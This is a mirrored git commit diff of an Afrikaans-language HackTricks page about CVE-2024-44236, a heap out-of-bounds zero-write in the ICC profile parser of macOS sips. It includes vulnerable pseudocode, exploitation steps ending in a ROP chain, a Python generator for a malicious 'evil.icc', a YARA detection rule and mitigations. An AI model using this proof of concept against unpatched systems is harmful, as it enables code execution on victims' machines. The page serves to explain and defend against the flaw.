mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips
This commit is contained in:
		
							parent
							
								
									0ce02c0f24
								
							
						
					
					
						commit
						562235d8be
					
				@ -4,50 +4,94 @@
 | 
			
		||||
 | 
			
		||||
## Oorsig
 | 
			
		||||
 | 
			
		||||
'n Uit-die-grense skryf kwesbaarheid in Apple macOS Scriptable Image Processing System (`sips`) ICC profiel parser (macOS 15.0.1, sips-307) as gevolg van onvanpaste validasie van die `offsetToCLUT` veld in `lutAToBType` (`mAB `) en `lutBToAType` (`mBA `) etikette. 'n Gemaakte ICC-lêer kan nul-skrywe tot 16 bytes oor die heap buffer aktiveer, wat heap metadata of funksie wysers korrupteer en willekeurige kode-uitvoering moontlik maak (CVE-2024-44236).
 | 
			
		||||
'n Uit-die-grense **zero-write** kwesbaarheid in Apple macOS **Scriptable Image Processing System** (`sips`) ICC profiel parser (macOS 15.0.1, `sips-307`) laat 'n aanvaller toe om heap metadata te korrupteer en die primitiewe in volle kode-uitvoering te draai. Die fout is geleë in die hantering van die `offsetToCLUT` veld van die `lutAToBType` (`mAB `) en `lutBToAType` (`mBA `) etikette. As aanvallers `offsetToCLUT == tagDataSize` stel, verwyder die parser **16 bytes oor die einde van die heap buffer**. Heap spraying laat die aanvaller toe om allokator strukture of C++ pointers wat later gedereferensieer sal word, op nul te stel, wat 'n **arbitrary-write-to-exec** ketting oplewer (CVE-2024-44236, CVSS 7.8).
 | 
			
		||||
 | 
			
		||||
> Apple het die fout reggestel in macOS Sonoma 15.2 / Ventura 14.7.1 (30 Oktober 2024). 'n Tweede variasie (CVE-2025-24185) is reggestel in macOS 15.5 en iOS/iPadOS 18.5 op 1 April 2025.
 | 
			
		||||
 | 
			
		||||
## Kwetsbare Kode
 | 
			
		||||
 | 
			
		||||
Die kwesbare funksie lees en stel 16 bytes nul vanaf 'n aanvaller-beheerde offset sonder om te verseker dat dit binne die toegewyde buffer lê:
 | 
			
		||||
```c
 | 
			
		||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
 | 
			
		||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
 | 
			
		||||
if (i > numberOfInputChannels && buffer[i] != 0)
 | 
			
		||||
buffer[i] = 0;
 | 
			
		||||
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
 | 
			
		||||
if (offsetToCLUT <= tagDataSize) {
 | 
			
		||||
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
 | 
			
		||||
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
 | 
			
		||||
buffer[i] = 0;            // no bounds check vs allocated size!
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Slegs 'n kontrole `offsetToCLUT <= totalDataLength` word uitgevoer. Deur `offsetToCLUT == tagDataSize` in te stel, indeks die lus tot 16 bytes na die einde van `buffer`, wat aangrensende heap metadata korrupteer.
 | 
			
		||||
 | 
			
		||||
## Exploitasiestappe
 | 
			
		||||
 | 
			
		||||
1. **Skep 'n kwaadwillige `.icc` profiel:**
 | 
			
		||||
- Bou die ICC-kop (128 bytes) met handtekening `acsp` en 'n enkele `lutAToBType` of `lutBToAType` tag-invoer.
 | 
			
		||||
- Stel in die tag-tabel `offsetToCLUT` gelyk aan die tag se `size` (`tagDataSize`).
 | 
			
		||||
- Plaas aanvaller-beheerde data onmiddellik na die tag data blok om heap metadata te oorskryf.
 | 
			
		||||
2. **Trigger parsing:**
 | 
			
		||||
1. **Skep 'n kwaadwillige `.icc` profiel**
 | 
			
		||||
 | 
			
		||||
* Stel 'n minimale ICC-kop (`acsp`) op en voeg een `mAB ` (of `mBA `) etiket by.
 | 
			
		||||
* Konfigureer die etiket tabel sodat die **`offsetToCLUT` gelyk is aan die etiketgrootte** (`tagDataSize`).
 | 
			
		||||
* Plaas aanvaller-beheerde data reg na die etiket sodat die 16 nul-skrywings oorvleuel met die allokator metadata.
 | 
			
		||||
 | 
			
		||||
2. **Trigger parsing met enige sips operasie wat die profiel raak**
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
sips --verifyColor malicious.icc
 | 
			
		||||
# verifikasiepaaie (geen uitvoerfile benodig nie)
 | 
			
		||||
sips --verifyColor evil.icc
 | 
			
		||||
# of implisiet wanneer beelde wat die profiel inkorporeer, omskakel
 | 
			
		||||
sips -s format png payload.jpg --out out.png
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
3. **Heap metadata korrupsie:** Die OOB nul-skrywings oorskryf allokator metadata of aangrensende wysers, wat die aanvaller in staat stel om die vloei van beheer te kapen en arbitrêre kode-uitvoering te bereik in die konteks van die `sips` proses.
 | 
			
		||||
3. **Heap metadata korrupsie ➜ arbitrêre skrywe ➜ ROP**
 | 
			
		||||
Op Apple se standaard **`nano_zone` allokator**, metadata vir 16-byte slots leef **onmiddellik na** die gelykgestelde 0x1000 slab. Deur die profiel se etiket aan die einde van so 'n slab te plaas, verwoes die 16 nul-skrywings `meta->slot_B`. Na 'n daaropvolgende `free`, word die vergiftigde wysiger in die klein vrye lys geplaas, wat die aanvaller toelaat om **'n vals objek op 'n arbitrêre adres te allokeer** en 'n C++ vtable wysiger wat deur sips gebruik word, te oorskryf, en uiteindelik die uitvoering na 'n ROP-ketting wat in die kwaadwillige ICC-buffer gestoor is, te draai.
 | 
			
		||||
 | 
			
		||||
### Vinning PoC generator (Python 3)
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/env python3
 | 
			
		||||
import struct, sys
 | 
			
		||||
 | 
			
		||||
HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
 | 
			
		||||
TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
 | 
			
		||||
profile  = HDR
 | 
			
		||||
profile += struct.pack('>I', len(TAGS))  # tag count
 | 
			
		||||
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
 | 
			
		||||
 | 
			
		||||
mab = bytearray(52)                      # tag payload (52 bytes)
 | 
			
		||||
struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
 | 
			
		||||
profile += mab
 | 
			
		||||
 | 
			
		||||
open('evil.icc', 'wb').write(profile)
 | 
			
		||||
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
 | 
			
		||||
```
 | 
			
		||||
### YARA opsporingsreël
 | 
			
		||||
```yara
 | 
			
		||||
rule ICC_mAB_offsetToCLUT_anomaly
 | 
			
		||||
{
 | 
			
		||||
meta:
 | 
			
		||||
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
 | 
			
		||||
author       = "HackTricks"
 | 
			
		||||
strings:
 | 
			
		||||
$magic = { 61 63 73 70 }          // 'acsp'
 | 
			
		||||
$mab   = { 6D 41 42 20 }          // 'mAB '
 | 
			
		||||
$mba   = { 6D 42 41 20 }          // 'mBA '
 | 
			
		||||
condition:
 | 
			
		||||
$magic at 0 and
 | 
			
		||||
for any i in (0 .. 10):           // up to 10 tags
 | 
			
		||||
(
 | 
			
		||||
($mab at 132 + 12*i or $mba at 132 + 12*i) and
 | 
			
		||||
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
 | 
			
		||||
)
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
## Impak
 | 
			
		||||
 | 
			
		||||
Suksesvolle eksploitatie lei tot afstandelike arbitrêre kode-uitvoering met gebruikersprivilege op macOS-stelsels wat die kwesbare `sips` nut gebruik.
 | 
			
		||||
Die opening of verwerking van 'n vervaardigde ICC-profiel lei tot afstand **arbitraire kode-uitvoering** in die konteks van die aanroepende gebruiker (Preview, QuickLook, Safari beeldrendering, e-posaanhangsels, ens.), wat Gatekeeper omseil omdat die profiel in andersins goedaardige beelde (PNG/JPEG/TIFF) ingebed kan word.
 | 
			
		||||
 | 
			
		||||
## Opsporing
 | 
			
		||||
## Opsporing & Versagting
 | 
			
		||||
 | 
			
		||||
- Monitor lêer oordragte op algemene protokolle (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
 | 
			
		||||
- Ondersoek oorgedra lêers met handtekening `acsp`.
 | 
			
		||||
- Vir elke `mAB ` of `mBA ` tag, verifieer of die `Offset to CLUT` veld gelyk is aan die `Tag data size`.
 | 
			
		||||
- Merk as verdag indien hierdie voorwaarde nagekom word.
 | 
			
		||||
* **Patches!** Verseker dat die gasheer macOS ≥ 15.2 / 14.7.1 (of iOS/iPadOS ≥ 18.1) draai.
 | 
			
		||||
* Ontplooi die YARA-reël hierbo op e-posgate en EDR-oplossings.
 | 
			
		||||
* Verwyder of saniteer ingebedde ICC-profiele met `exiftool -icc_profile= -overwrite_original <file>` voordat verdere verwerking op onbetroubare lêers plaasvind.
 | 
			
		||||
* Versterk Preview/QuickLook deur dit binne gesandboksde “deursigtigheid & modernisering” VM's te laat loop wanneer onbekende inhoud geanaliseer word.
 | 
			
		||||
* Vir DFIR, soek na onlangse uitvoering van `sips --verifyColor` of `ColorSync` biblioteeklaai deur gesandboksde toepassings in die verenigde log.
 | 
			
		||||
 | 
			
		||||
## Verwysings
 | 
			
		||||
 | 
			
		||||
- ZDI blog: CVE-2024-44236: Afstandelike Kode-uitvoering Kwesbaarheid in Apple macOS sips Nut
 | 
			
		||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
 | 
			
		||||
- Apple Oktober 2024 Sekuriteitsopdatering (patch wat CVE-2024-44236 verskaf)
 | 
			
		||||
https://support.apple.com/en-us/121564
 | 
			
		||||
* Trend Micro Zero Day Initiative advies ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
 | 
			
		||||
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
 | 
			
		||||
* Apple sekuriteitsopdaterings HT213981 “Oor die sekuriteitsinhoud van macOS Sonoma 15.2”
 | 
			
		||||
https://support.apple.com/en-us/HT213981
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user